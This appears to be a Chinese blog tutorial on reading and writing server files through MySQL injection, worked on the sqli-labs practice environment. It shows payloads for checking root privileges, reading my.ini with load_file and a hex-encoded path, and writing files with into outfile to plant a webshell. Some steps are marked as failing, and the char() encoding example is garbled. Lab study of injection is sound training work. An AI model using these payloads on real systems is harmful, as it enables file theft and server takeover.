SQL注入中的读些文件函数以及读些文件条件

读(导出)文件函数

函数名称

load_file(file_name)

使用条件

  1. 用户有权限读取 && 文件是可读的
  2. 读取文件在服务器上(可以理解为文件名是存在的)
  3. 必须指定完整路径(路径要正确)
  4. 读取文件小于max_allowed_packet(该文件不能超过sql文件里规定的文件大小)

演示环节

已sqli_labs第1关为例

测试当前数据库用户是否有管理员权限

  • 通过 and (select count(*) from mysql.user)>0--+

    页面正常显示则代表当前数据库用户是root权限

读(导出)文件

系统下的常用路径:https://www.cnblogs.com/lcamry/p/5729087.html
本次环境安装在phpstudy上,假设已知道mysql的安装路径为:D:\phpstudy_pro\Extensions\MySQL5.7.26

  • union select 1,loadfile(D:\phpstudy_pro\Extensions\MySQL5.7.26\my.ini),3

    暂不清楚什么原因,倒不出来

  • union select 1,load_file(0x443a2f70687073747564795f70726f2f457874656e73696f6e732f4d7953514c352e372e32362f6d792e696e69),3

文件名的格式

1.转换为16进制
0x443a2f70687073747564795f70726f2f457874656e73696f6e732f4d7953514c352e372e32362f6d792e696e69
2.路径中的/用 \ \代替
load_file(D:\phpstudy_pro\Extensions\MySQL5.7.26\my.ini)
不知为什么没起作用
3.用char函数将ascii转换为字母
char(44,3a,2f,70,68,70,73,74,75,64,79,5f,70,72,6f,2f,45,78,74,65,6e,73,69,6f,6e,73,2f,4d,79,53,51,4c,35,2e,37,2e,32,36,2f,6d,79,2e,69,6e,69)


写文件函数

函数名称

into_outfile
语句使用:select 命令 into outfile "路径"

使用条件

  1. 路径目录必须有读写权限
  2. 文件名必须唯一

演示环节

已sqli_labs第7关为例
关于测注入点输入'(单引号)网页报错,说明有注入点;用' and 1=1--+,页面报错,尝试闭合处的构造,使用')) and 1=1--+构造成功。

上传一句话木马


页面提示错误,但是上传文件是能访问到的!

执行命令

posted @ 2022-01-02 13:29  ceiling~  阅读(201)  评论(0编辑  收藏  举报